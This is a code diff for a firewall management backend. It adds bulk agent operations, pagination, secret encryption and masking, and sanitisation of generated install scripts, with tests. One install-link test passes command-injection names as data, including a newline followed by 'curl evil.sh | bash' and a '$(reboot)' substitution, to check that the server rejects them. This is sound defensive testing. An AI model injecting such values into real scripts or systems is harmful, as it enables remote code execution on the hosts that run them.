return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
|
||||||
|
})
|
||||||
|
|
||||||
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
|
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
|
||||||
const a = repos.getAgent(app.db, req.params.id)
|
const a = repos.getAgent(app.db, req.params.id)
|
||||||
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||||
@@ -181,6 +212,30 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
return { ok: true }
|
return { ok: true }
|
||||||
})
|
})
|
||||||
|
|
||||||
|
app.post('/agents/delete-bulk', async (req) => {
|
||||||
|
const body = agentIdsBodySchema.parse(req.body)
|
||||||
|
const deleted: { id: string; name: string }[] = []
|
||||||
|
app.sqlite.transaction(() => {
|
||||||
|
for (const id of body.agent_ids) {
|
||||||
|
const a = repos.getAgent(app.db, id)
|
||||||
|
if (!a) continue
|
||||||
|
repos.deleteAgent(app.db, id)
|
||||||
|
deleted.push({ id: a.id, name: a.name })
|
||||||
|
}
|
||||||
|
})()
|
||||||
|
if (deleted.length > 0) {
|
||||||
|
auditMutation(app, config, req, {
|
||||||
|
action: 'agent.delete',
|
||||||
|
severity: 'warning',
|
||||||
|
targetType: 'app_resource',
|
||||||
|
targetId: deleted[0]!.id,
|
||||||
|
summary: `Массовое удаление агентов: ${deleted.length}`,
|
||||||
|
details: { agent_ids: deleted.map((d) => d.id) },
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return { items: deleted.map((d) => d.id), deleted: deleted.length }
|
||||||
|
})
|
||||||
|
|
||||||
app.post<{ Params: { id: string; sourceId: string } }>(
|
app.post<{ Params: { id: string; sourceId: string } }>(
|
||||||
'/agents/:id/clone-from/:sourceId',
|
'/agents/:id/clone-from/:sourceId',
|
||||||
async (req) => {
|
async (req) => {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import {
|
|||||||
import { hashToken } from '../plugins/auth.js'
|
import { hashToken } from '../plugins/auth.js'
|
||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
import { auditMutation } from '../services/audit.js'
|
import { auditMutation } from '../services/audit.js'
|
||||||
|
import { applyPagination } from '../services/pagination.js'
|
||||||
|
|
||||||
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||||
app,
|
app,
|
||||||
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
|
|||||||
) => {
|
) => {
|
||||||
const { config } = opts
|
const { config } = opts
|
||||||
|
|
||||||
app.get('/install-links', async () => ({
|
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||||
items: repos
|
'/install-links',
|
||||||
|
async (req) => {
|
||||||
|
const items = repos
|
||||||
.listInstallLinks(app.db)
|
.listInstallLinks(app.db)
|
||||||
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
|
.map((row) => mapInstallLink(row, config.publicBaseUrl))
|
||||||
}))
|
const paged = applyPagination(items, req.query)
|
||||||
|
return { items: paged.items, total: paged.total }
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
app.post('/install-links', async (req, reply) => {
|
app.post('/install-links', async (req, reply) => {
|
||||||
const body = createInstallLinkBodySchema.parse(req.body)
|
const body = createInstallLinkBodySchema.parse(req.body)
|
||||||
|
|||||||
@@ -15,6 +15,8 @@ import {
|
|||||||
} from '../services/lists/entries.js'
|
} from '../services/lists/entries.js'
|
||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
import { auditMutation } from '../services/audit.js'
|
import { auditMutation } from '../services/audit.js'
|
||||||
|
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
|
||||||
|
import { applyPagination } from '../services/pagination.js'
|
||||||
|
|
||||||
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||||
app,
|
app,
|
||||||
@@ -22,7 +24,9 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
) => {
|
) => {
|
||||||
const { config } = opts
|
const { config } = opts
|
||||||
|
|
||||||
app.get('/lists', async () => {
|
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||||
|
'/lists',
|
||||||
|
async (req) => {
|
||||||
const lists = repos.listIpLists(app.db)
|
const lists = repos.listIpLists(app.db)
|
||||||
const counts = repos.countEntriesByListIds(
|
const counts = repos.countEntriesByListIds(
|
||||||
app.db,
|
app.db,
|
||||||
@@ -32,7 +36,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
id: l.id,
|
id: l.id,
|
||||||
name: l.name,
|
name: l.name,
|
||||||
type: l.type,
|
type: l.type,
|
||||||
config_json: l.configJson,
|
config_json: maskListConfig(l.configJson),
|
||||||
content_hash: l.contentHash,
|
content_hash: l.contentHash,
|
||||||
refreshed_at: l.refreshedAt,
|
refreshed_at: l.refreshedAt,
|
||||||
last_error: l.lastError,
|
last_error: l.lastError,
|
||||||
@@ -40,8 +44,10 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
created_at: l.createdAt,
|
created_at: l.createdAt,
|
||||||
updated_at: l.updatedAt,
|
updated_at: l.updatedAt,
|
||||||
}))
|
}))
|
||||||
return { items }
|
const paged = applyPagination(items, req.query)
|
||||||
})
|
return { items: paged.items, total: paged.total }
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
app.post('/lists', async (req) => {
|
app.post('/lists', async (req) => {
|
||||||
const body = createIpListBodySchema.parse(req.body)
|
const body = createIpListBodySchema.parse(req.body)
|
||||||
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
id,
|
id,
|
||||||
name: body.name,
|
name: body.name,
|
||||||
type,
|
type,
|
||||||
configJson: JSON.stringify(body.config ?? {}),
|
configJson: sealListConfig({ ...(body.config ?? {}) }),
|
||||||
createdAt: new Date().toISOString(),
|
createdAt: new Date().toISOString(),
|
||||||
updatedAt: new Date().toISOString(),
|
updatedAt: new Date().toISOString(),
|
||||||
})
|
})
|
||||||
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
id: list!.id,
|
id: list!.id,
|
||||||
name: list!.name,
|
name: list!.name,
|
||||||
type: list!.type,
|
type: list!.type,
|
||||||
config_json: list!.configJson,
|
config_json: maskListConfig(list!.configJson),
|
||||||
created_at: list!.createdAt,
|
created_at: list!.createdAt,
|
||||||
updated_at: list!.updatedAt,
|
updated_at: list!.updatedAt,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
|
|||||||
import {
|
import {
|
||||||
createPolicySetBodySchema,
|
createPolicySetBodySchema,
|
||||||
patchPolicySetBodySchema,
|
patchPolicySetBodySchema,
|
||||||
|
agentIdsBodySchema,
|
||||||
} from '@evofw/shared'
|
} from '@evofw/shared'
|
||||||
import { AppError } from '../plugins/error-handler.js'
|
import { AppError } from '../plugins/error-handler.js'
|
||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
|
|||||||
}
|
}
|
||||||
return { ok: true }
|
return { ok: true }
|
||||||
})
|
})
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Replace which agents have this set assigned: listed agents gain the set
|
||||||
|
* (other assignments preserved), unlisted agents lose it.
|
||||||
|
*/
|
||||||
|
app.put<{ Params: { id: string } }>(
|
||||||
|
'/policy-sets/:id/agents',
|
||||||
|
async (req) => {
|
||||||
|
const set = repos.getPolicySet(app.db, req.params.id)
|
||||||
|
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||||
|
const body = agentIdsBodySchema.parse(req.body)
|
||||||
|
|
||||||
|
const target = new Set(body.agent_ids)
|
||||||
|
for (const agentId of body.agent_ids) {
|
||||||
|
if (!repos.getAgent(app.db, agentId)) {
|
||||||
|
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const current = repos.listAgentIdsForSet(app.db, set.id)
|
||||||
|
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
|
||||||
|
const toRemove = current.filter((id) => !target.has(id))
|
||||||
|
|
||||||
|
const applyAssignment = (agentId: string, withSet: boolean) => {
|
||||||
|
const others = repos
|
||||||
|
.listSetsForAgent(app.db, agentId)
|
||||||
|
.map((s) => s.setId)
|
||||||
|
.filter((id) => id !== set.id)
|
||||||
|
const next = withSet ? [...others, set.id] : others
|
||||||
|
repos.setAgentPolicySets(app.db, agentId, next)
|
||||||
|
}
|
||||||
|
|
||||||
|
app.sqlite.transaction(() => {
|
||||||
|
for (const agentId of toAdd) applyAssignment(agentId, true)
|
||||||
|
for (const agentId of toRemove) applyAssignment(agentId, false)
|
||||||
|
})()
|
||||||
|
|
||||||
|
auditMutation(app, config, req, {
|
||||||
|
action: 'policy_set.agents.update',
|
||||||
|
targetType: 'app_resource',
|
||||||
|
targetId: set.id,
|
||||||
|
summary: `Назначение набора ${set.name} обновлено`,
|
||||||
|
details: {
|
||||||
|
set_id: set.id,
|
||||||
|
added: toAdd,
|
||||||
|
removed: toRemove,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
return {
|
||||||
|
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
|
||||||
|
added: toAdd,
|
||||||
|
removed: toRemove,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -63,12 +63,17 @@ export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
async (req) => {
|
async (req) => {
|
||||||
const agent = repos.getAgent(app.db, req.params.id)
|
const agent = repos.getAgent(app.db, req.params.id)
|
||||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||||
const items = repos.listAgentPortRules(app.db, agent.id).map((row) => {
|
const rows = repos.listAgentPortRules(app.db, agent.id)
|
||||||
const listName = row.listId
|
const listNames = repos.mapIpListNames(
|
||||||
? repos.getIpList(app.db, row.listId)?.name
|
app.db,
|
||||||
: null
|
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
|
||||||
return mapPortRule(row, listName)
|
)
|
||||||
})
|
const items = rows.map((row) =>
|
||||||
|
mapPortRule(
|
||||||
|
row,
|
||||||
|
row.listId ? (listNames.get(row.listId) ?? null) : null,
|
||||||
|
),
|
||||||
|
)
|
||||||
return { items }
|
return { items }
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -12,7 +12,8 @@ import {
|
|||||||
} from '../services/policy/resolve-hostname.js'
|
} from '../services/policy/resolve-hostname.js'
|
||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
import { auditMutation } from '../services/audit.js'
|
import { auditMutation } from '../services/audit.js'
|
||||||
import { mapPolicyRule } from '../services/row-mappers.js'
|
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
|
||||||
|
import { applyPagination } from '../services/pagination.js'
|
||||||
|
|
||||||
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||||
app,
|
app,
|
||||||
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
const s = repos.getPolicySet(app.db, req.params.id)
|
const s = repos.getPolicySet(app.db, req.params.id)
|
||||||
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||||
return {
|
return {
|
||||||
items: repos
|
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
|
||||||
.listPolicyRules(app.db, s.id)
|
|
||||||
.map((r) => mapPolicyRule(r, app.db)),
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
|
app.get<{
|
||||||
'/rules',
|
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
|
||||||
async (req) => {
|
}>('/rules', async (req) => {
|
||||||
if (req.query.agent_id) {
|
if (req.query.agent_id) {
|
||||||
return {
|
return {
|
||||||
items: repos
|
items: mapPolicyRules(
|
||||||
.listPolicyRulesForAgent(app.db, req.query.agent_id)
|
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
|
||||||
.map((r) => mapPolicyRule(r, app.db)),
|
app.db,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
const items = repos
|
const paged = applyPagination(
|
||||||
.listPolicyRules(app.db, req.query.set_id)
|
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
|
||||||
.map((r) => mapPolicyRule(r, app.db))
|
req.query,
|
||||||
return { items }
|
|
||||||
},
|
|
||||||
)
|
)
|
||||||
|
return { items: paged.items, total: paged.total }
|
||||||
|
})
|
||||||
|
|
||||||
app.post('/rules', async (req) => {
|
app.post('/rules', async (req) => {
|
||||||
const body = createPolicyRuleBodySchema.parse(req.body)
|
const body = createPolicyRuleBodySchema.parse(req.body)
|
||||||
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
details: { set_id: s.id, ordered_ids: body.ordered_ids },
|
details: { set_id: s.id, ordered_ids: body.ordered_ids },
|
||||||
})
|
})
|
||||||
return {
|
return {
|
||||||
items: repos
|
items: mapPolicyRules(
|
||||||
.listPolicyRules(app.db, s.id)
|
repos.listPolicyRules(app.db, s.id),
|
||||||
.map((r) => mapPolicyRule(r, app.db)),
|
app.db,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
|
|||||||
import { repos } from '@evofw/db'
|
import { repos } from '@evofw/db'
|
||||||
import { putSettingsBodySchema } from '@evofw/shared'
|
import { putSettingsBodySchema } from '@evofw/shared'
|
||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
|
import { encryptSecret } from '../services/secret-cipher.js'
|
||||||
|
|
||||||
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||||
app,
|
app,
|
||||||
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
const body = putSettingsBodySchema.parse(req.body)
|
const body = putSettingsBodySchema.parse(req.body)
|
||||||
for (const [k, v] of Object.entries(body)) {
|
for (const [k, v] of Object.entries(body)) {
|
||||||
if (k === 'evobgp_api_token' && v === '********') continue
|
if (k === 'evobgp_api_token' && v === '********') continue
|
||||||
repos.setSetting(app.db, k, v)
|
repos.setSetting(
|
||||||
|
app.db,
|
||||||
|
k,
|
||||||
|
k === 'evobgp_api_token' ? encryptSecret(v) : v,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
return { ok: true }
|
return { ok: true }
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -38,3 +38,17 @@ try {
|
|||||||
app.log.error(err)
|
app.log.error(err)
|
||||||
process.exit(1)
|
process.exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
|
||||||
|
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
|
||||||
|
process.on(signal, () => {
|
||||||
|
app.log.info(`${signal} received, shutting down`)
|
||||||
|
app
|
||||||
|
.close()
|
||||||
|
.then(() => process.exit(0))
|
||||||
|
.catch((err) => {
|
||||||
|
app.log.error(err, 'error during shutdown')
|
||||||
|
process.exit(1)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
describe('agents CRUD critical paths', () => {
|
describe('agents CRUD critical paths', () => {
|
||||||
|
|||||||
@@ -0,0 +1,183 @@
|
|||||||
|
import { describe, it, expect, afterAll } from 'vitest'
|
||||||
|
import { buildApp } from '../app.js'
|
||||||
|
import type { AppConfig } from '../config.js'
|
||||||
|
|
||||||
|
const testConfig: AppConfig = {
|
||||||
|
databaseUrl: 'sqlite::memory:',
|
||||||
|
jwtSecret: 'test',
|
||||||
|
jwtTtlHours: 24,
|
||||||
|
serverPort: 8080,
|
||||||
|
staticDir: null,
|
||||||
|
logLevel: 'error',
|
||||||
|
authRequired: false,
|
||||||
|
authIssuer: 'https://auth.test',
|
||||||
|
authPortalUrl: 'http://localhost:5175',
|
||||||
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createInvitedAgent(
|
||||||
|
app: Awaited<ReturnType<typeof buildApp>>,
|
||||||
|
name: string,
|
||||||
|
): Promise<string> {
|
||||||
|
const created = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/install-links',
|
||||||
|
payload: { name, platform: 'linux' },
|
||||||
|
})
|
||||||
|
expect(created.statusCode).toBe(201)
|
||||||
|
return (created.json() as { agent_id: string }).agent_id
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('bulk agent operations', () => {
|
||||||
|
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.close()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('approve-bulk approves invited agents in one request', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const a1 = await createInvitedAgent(app, 'bulk-01')
|
||||||
|
const a2 = await createInvitedAgent(app, 'bulk-02')
|
||||||
|
const a3 = await createInvitedAgent(app, 'bulk-03')
|
||||||
|
|
||||||
|
const bulk = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/agents/approve-bulk',
|
||||||
|
payload: { agent_ids: [a1, a2, a3] },
|
||||||
|
})
|
||||||
|
expect(bulk.statusCode).toBe(200)
|
||||||
|
const body = bulk.json() as { items: { id: string; status: string }[] }
|
||||||
|
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
|
||||||
|
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
|
||||||
|
|
||||||
|
// shared default set assigned on approve
|
||||||
|
for (const id of [a1, a2, a3]) {
|
||||||
|
const sets = await app.inject({
|
||||||
|
method: 'GET',
|
||||||
|
url: `/api/v1/agents/${id}/policy-sets`,
|
||||||
|
})
|
||||||
|
const items = (sets.json() as { items: { set_id: string }[] }).items
|
||||||
|
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
// repeated bulk is a no-op (already approved)
|
||||||
|
const again = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/agents/approve-bulk',
|
||||||
|
payload: { agent_ids: [a1] },
|
||||||
|
})
|
||||||
|
expect(again.statusCode).toBe(200)
|
||||||
|
expect((again.json() as { items: unknown[] }).items).toEqual([])
|
||||||
|
})
|
||||||
|
|
||||||
|
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const a1 = await createInvitedAgent(app, 'assign-01')
|
||||||
|
const a2 = await createInvitedAgent(app, 'assign-02')
|
||||||
|
await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/agents/approve-bulk',
|
||||||
|
payload: { agent_ids: [a1, a2] },
|
||||||
|
})
|
||||||
|
|
||||||
|
const created = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/policy-sets',
|
||||||
|
payload: { name: 'bulk-assign-set' },
|
||||||
|
})
|
||||||
|
const setId = (created.json() as { id: string }).id
|
||||||
|
|
||||||
|
// assign both
|
||||||
|
const put = await app.inject({
|
||||||
|
method: 'PUT',
|
||||||
|
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||||
|
payload: { agent_ids: [a1, a2] },
|
||||||
|
})
|
||||||
|
expect(put.statusCode).toBe(200)
|
||||||
|
expect((put.json() as { added: string[] }).added.sort()).toEqual(
|
||||||
|
[a1, a2].sort(),
|
||||||
|
)
|
||||||
|
|
||||||
|
// a1 keeps set when a2 removed; shared default preserved for both
|
||||||
|
const drop = await app.inject({
|
||||||
|
method: 'PUT',
|
||||||
|
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||||
|
payload: { agent_ids: [a1] },
|
||||||
|
})
|
||||||
|
expect(drop.statusCode).toBe(200)
|
||||||
|
const dropBody = drop.json() as {
|
||||||
|
agent_ids: string[]
|
||||||
|
removed: string[]
|
||||||
|
}
|
||||||
|
expect(dropBody.agent_ids).toEqual([a1])
|
||||||
|
expect(dropBody.removed).toEqual([a2])
|
||||||
|
|
||||||
|
const setsA1 = (
|
||||||
|
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
|
||||||
|
.json() as { items: { set_id: string }[] }
|
||||||
|
).items.map((s) => s.set_id)
|
||||||
|
const setsA2 = (
|
||||||
|
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
|
||||||
|
.json() as { items: { set_id: string }[] }
|
||||||
|
).items.map((s) => s.set_id)
|
||||||
|
expect(setsA1).toContain(setId)
|
||||||
|
expect(setsA2).not.toContain(setId)
|
||||||
|
expect(setsA2).toContain('set-shared-default')
|
||||||
|
|
||||||
|
// empty array clears the whole assignment
|
||||||
|
const clear = await app.inject({
|
||||||
|
method: 'PUT',
|
||||||
|
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||||
|
payload: { agent_ids: [] },
|
||||||
|
})
|
||||||
|
expect(clear.statusCode).toBe(200)
|
||||||
|
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
|
||||||
|
|
||||||
|
// unknown agent → 404, and nothing changed
|
||||||
|
const bad = await app.inject({
|
||||||
|
method: 'PUT',
|
||||||
|
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||||
|
payload: { agent_ids: ['no-such-agent'] },
|
||||||
|
})
|
||||||
|
expect(bad.statusCode).toBe(404)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('delete-bulk removes agents in one request and skips unknown ids', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const a1 = await createInvitedAgent(app, 'bulk-del-01')
|
||||||
|
const a2 = await createInvitedAgent(app, 'bulk-del-02')
|
||||||
|
const a3 = await createInvitedAgent(app, 'bulk-del-03')
|
||||||
|
|
||||||
|
const bulk = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/agents/delete-bulk',
|
||||||
|
payload: { agent_ids: [a1, a2, 'no-such-agent'] },
|
||||||
|
})
|
||||||
|
expect(bulk.statusCode).toBe(200)
|
||||||
|
const body = bulk.json() as { items: string[]; deleted: number }
|
||||||
|
expect(body.deleted).toBe(2)
|
||||||
|
expect(body.items.sort()).toEqual([a1, a2].sort())
|
||||||
|
|
||||||
|
for (const id of [a1, a2]) {
|
||||||
|
const res = await app.inject({ method: 'GET', url: `/api/v1/agents/${id}` })
|
||||||
|
expect(res.statusCode).toBe(404)
|
||||||
|
}
|
||||||
|
|
||||||
|
// a3 не упомянут в запросе — остаётся на месте
|
||||||
|
const kept = await app.inject({ method: 'GET', url: `/api/v1/agents/${a3}` })
|
||||||
|
expect(kept.statusCode).toBe(200)
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
describe('install-links', () => {
|
describe('install-links', () => {
|
||||||
@@ -112,6 +116,55 @@ describe('install-links', () => {
|
|||||||
expect(row?.status).toBe('pending')
|
expect(row?.status).toBe('pending')
|
||||||
})
|
})
|
||||||
|
|
||||||
|
it('rejects install link names with unsafe characters', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const bad = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/install-links',
|
||||||
|
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||||
|
})
|
||||||
|
expect(bad.statusCode).toBe(400)
|
||||||
|
|
||||||
|
const quotes = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/install-links',
|
||||||
|
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||||
|
})
|
||||||
|
expect(quotes.statusCode).toBe(400)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('masks per-list api_token in list responses', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const created = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/lists',
|
||||||
|
payload: {
|
||||||
|
name: 'evobgp-masked',
|
||||||
|
type: 'evobgp_community',
|
||||||
|
config: {
|
||||||
|
api_url: 'https://bgp.example.com',
|
||||||
|
api_token: 'super-secret-token',
|
||||||
|
community_id: '',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
expect(created.statusCode).toBe(200)
|
||||||
|
const body = created.json() as { config_json: string }
|
||||||
|
expect(body.config_json).not.toContain('super-secret-token')
|
||||||
|
expect(body.config_json).toContain('********')
|
||||||
|
|
||||||
|
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||||
|
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||||
|
expect(
|
||||||
|
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||||
|
).toBe(false)
|
||||||
|
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||||
|
})
|
||||||
|
|
||||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||||
const app = await appPromise
|
const app = await appPromise
|
||||||
await app.ready()
|
await app.ready()
|
||||||
|
|||||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
|||||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Strip control characters that have no business inside generated scripts. */
|
||||||
|
function stripControlChars(s: string): string {
|
||||||
|
// eslint-disable-next-line no-control-regex
|
||||||
|
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||||
|
}
|
||||||
|
|
||||||
function escapeRosString(s: string): string {
|
function escapeRosString(s: string): string {
|
||||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||||
|
return stripControlChars(s)
|
||||||
|
.replace(/\\/g, '\\\\')
|
||||||
|
.replace(/"/g, '\\"')
|
||||||
|
.replace(/\$/g, '\\$')
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
|||||||
platform: string
|
platform: string
|
||||||
installLinkId: string
|
installLinkId: string
|
||||||
}): string {
|
}): string {
|
||||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||||
const header = [
|
const header = [
|
||||||
'#!/usr/bin/env bash',
|
'#!/usr/bin/env bash',
|
||||||
'# EvoFirewall short install link — env pre-set',
|
'# EvoFirewall short install link — env pre-set',
|
||||||
|
|||||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
